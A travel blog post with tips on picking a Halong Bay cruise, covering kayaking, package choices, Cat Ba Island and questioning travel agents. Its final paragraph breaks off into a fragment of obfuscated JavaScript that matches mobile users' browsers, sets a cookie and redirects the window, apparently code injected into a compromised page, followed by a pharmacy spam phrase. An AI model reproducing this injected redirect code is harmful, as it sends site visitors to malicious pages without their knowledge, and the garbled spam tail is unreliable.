How to Pick the Perfect Halong Bay Trip

rowingPICK YOUR ACTIVITIES

The one must that your tour should provide is free kayaking. This is, rightfully, almost everyone’s favorite activity as it allows you to freely explore the caves and grottos carved out by the water. We kayaked into the “James Bond cave,” which was featured in Tomorrow Never Dies, and then spent another hour just exploring the various nooks within the rocks.

If you want a more adventurous trip, opt for a one-night on boat, one-night on island package. That way you can do some trekking and additional kayaking in a different bay.

If you want a more relaxing trip, opt for two nights on the boat. I actually wish we had done that, because all the transfers on the second day take a while and kill the atmosphere a bit.

Our trip, with Monkey Island Cruises, took us to Monkey Island the second day. It was okay, but the water around it was filled with trash and the “superior” bungalows were tiny and lacked any view. The pouring rain didn’t help matters.

One benefit of all the transfers is the drive through Cat Ba Island, which is the only populated island in Halong. Lonely Planet calls it “something straight out of Jurassic Park,” and in this instance, they’re right. Besides for the one town and road, the locals have largely left Cat Ba to the elements, which means it’s a mix of jungle, rock, tropical rainstorms, and fog that rivals San Francisco’s. In short, it’s a hell of a 40-minute drive, and probably the best part of our trip to Monkey Island.

DO YOUR RESEARCH

This is the hardest part when it comes to choosing the Halong Bay trip right for you. Even if you know your budget, how do you know you’re not getting put on that $55 boat and paying $100 instead?

The truth is you don’t, but the best thing you can do is ask as many questions as possible.

TIP: The most important question to ask the travel agent is, “What is the name of the cruise company?”

If they won’t give it to you, walk away. If they share it, get on the internet and do some digging. (FYI, that $55 cruise has less than a 1-star rating on TripAdvisor.) If you like what you see, haggle the price down a bit. If you don’t, move on to the next agent.

Unfortunately, there’s almost no way to book directly with the tour provider, so you’ll have to use a mix of intuition, internet searches, and other travelers to make your choice. The travelers who got the best deal on our boat used Lily’s Travel Agency, 18 Ngo Huyen, Hanoi. wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])} cialis for sale australia.

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